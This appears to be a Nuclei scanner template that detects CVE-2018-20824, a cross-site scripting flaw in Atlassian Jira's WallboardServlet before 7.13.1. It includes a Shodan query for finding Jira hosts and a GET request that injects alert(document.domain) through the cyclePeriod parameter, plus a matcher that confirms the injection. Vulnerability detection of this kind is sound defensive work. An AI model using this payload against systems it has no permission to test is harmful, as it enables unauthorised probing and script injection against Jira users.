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id : CVE-2018-20824
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info :
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name : Atlassian Jira WallboardServlet <7.13.1 - Cross-Site Scripting
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author : madrobot,dwisiswant0
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severity : medium
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description : The WallboardServlet resource in Jira before version 7.13.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross-site scripting vulnerability in the cyclePeriod parameter.
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remediation : |
Upgrade to Atlassian Jira version 7.13.1 or later to mitigate this vulnerability.
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reference :
- https://jira.atlassian.com/browse/JRASERVER-69238
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- https://nvd.nist.gov/vuln/detail/CVE-2018-20824
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classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score : 6.1
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cve-id : CVE-2018-20824
cwe-id : CWE-79
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epss-score : 0.00211
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epss-percentile : 0.58738
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cpe : cpe:2.3:a:atlassian:jira:*:*:*:*:*:*:*:*
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metadata :
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max-request : 1
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vendor : atlassian
product : jira
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shodan-query : http.component:"Atlassian Jira"
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tags : cve,cve2018,atlassian,jira,xss
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http :
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- method : GET
path :
- "{{BaseURL}}/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)"
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matchers-condition : and
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matchers :
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- type : regex
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part : body
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regex :
- (?mi)timeout:\salert\(document\.domain\)
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- type : status
status :
- 200
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# digest: 4a0a00473045022029e25e08b80d1b68087183ae8882fabed8f22773c1f6c49609d6451b782b96fb022100dbf68926644c0c40bb50ed605171ab844446f14f202a6213a3f18e8110fbe7d6:922c64590222798bb761d5b6d8e72950